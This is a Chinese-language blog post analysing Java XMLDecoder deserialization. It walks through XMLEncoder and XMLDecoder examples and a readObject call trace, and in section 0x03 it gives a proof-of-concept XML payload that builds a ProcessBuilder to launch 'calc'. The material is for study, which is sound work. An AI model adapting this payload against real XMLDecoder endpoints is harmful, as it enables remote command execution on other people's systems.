XmlDecoder Rce 简单分析
0x01 简介
关于xmldecoder&xmlencoder,首先看网络上的解释
默认的 Java 序列化将 Java 对象转换为字节以通过网络发送。 但是很多时候,您将需要更多的跨平台媒体来发送此信息,例如 XML,以便使用不同技术的应用程序也可以利用此序列化信息的优势。
通俗一点讲,序列化就是把java内存中的对象序列化成可传输或存储的xml数据,反序列化即前面所述过程反过来。其形式跟fastjson差不多,只不过一个是json一个是xml。底层原理调用有点复杂,这篇文章没有完全剖析底层代码,只大概了解一下。
0x02 一个简单的🌰
大部分场景下的Xml Encoder和Decoder(抄了网上一个例子)
XmlEncoder
//XmlEncoder
public class App
{
public static void main( String[] args )
{
HashMap<Object, Object> map = new HashMap<>();
map.put("name","test");
map.put("array",new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
}
打印结果为
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>array</string>
<object class="java.util.ArrayList"/>
</void>
<void method="put">
<string>name</string>
<string>test</string>
</void>
</object>
</java>
XmlDecoder
public class App
{
public static void main( String[] args ) throws UnsupportedEncodingException {
String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<java version=\"1.8.0\" class=\"java.beans.XMLDecoder\">\n" +
" <object class=\"java.util.HashMap\">\n" +
" <void method=\"put\">\n" +
" <string>array</string>\n" +
" <object class=\"java.util.ArrayList\"/>\n" +
" </void>\n" +
" <void method=\"put\">\n" +
" <string>name</string>\n" +
" <string>test</string>\n" +
" </void>\n" +
" </object>\n" +
"</java>";
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(xml.getBytes("utf-8"));
XMLDecoder xmlDecoder = new XMLDecoder(byteArrayInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
打印结果为
{array=[], name=test}
Xml分析
大概梳理了下结构,整个序列化的数据是包裹在<java>标签之下的,object标签表示一个对象,其中class表示需要类,method表示方法名,其中string标签和object标签表示该数据的类型,除此以外还有int标签等等。详情可参考这篇文档XMLEncoder_Java API中文文档
0x03 一个XmlDecoder Rce的🌰
根据前面XmlDecoder的例子对poc进行复制黏贴改造(至于为啥不能直接生成,我试过,直接调用ProcessBuilder,但是生成失败,暂时找不到原因)
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
0x04 XmlDecoder原理
1、new XmlDecoder()
的操作只是在调用其构造方法,并将需要反序列化的xml字节流进行赋值。
初始化阶段只是做了一个简单的赋值操作
2、xmlDecoder.readObject()
跟进readObject,该调用连大概如下
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1781, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2957, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:606, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:510, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:848, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:777, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:649, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:333, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:75, ProtectionDomain$1 (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
decoder1:64, App (org.example)
main:31, App (org.example)
其中XML11Configuration 的parse方法为解析
通过scanDocument扫描该XML代码并为反序列化做准备。XMLDocumentScannerImpl 的next方法中进行扫描
根据扫描结果进行对象创建或者方法调用等等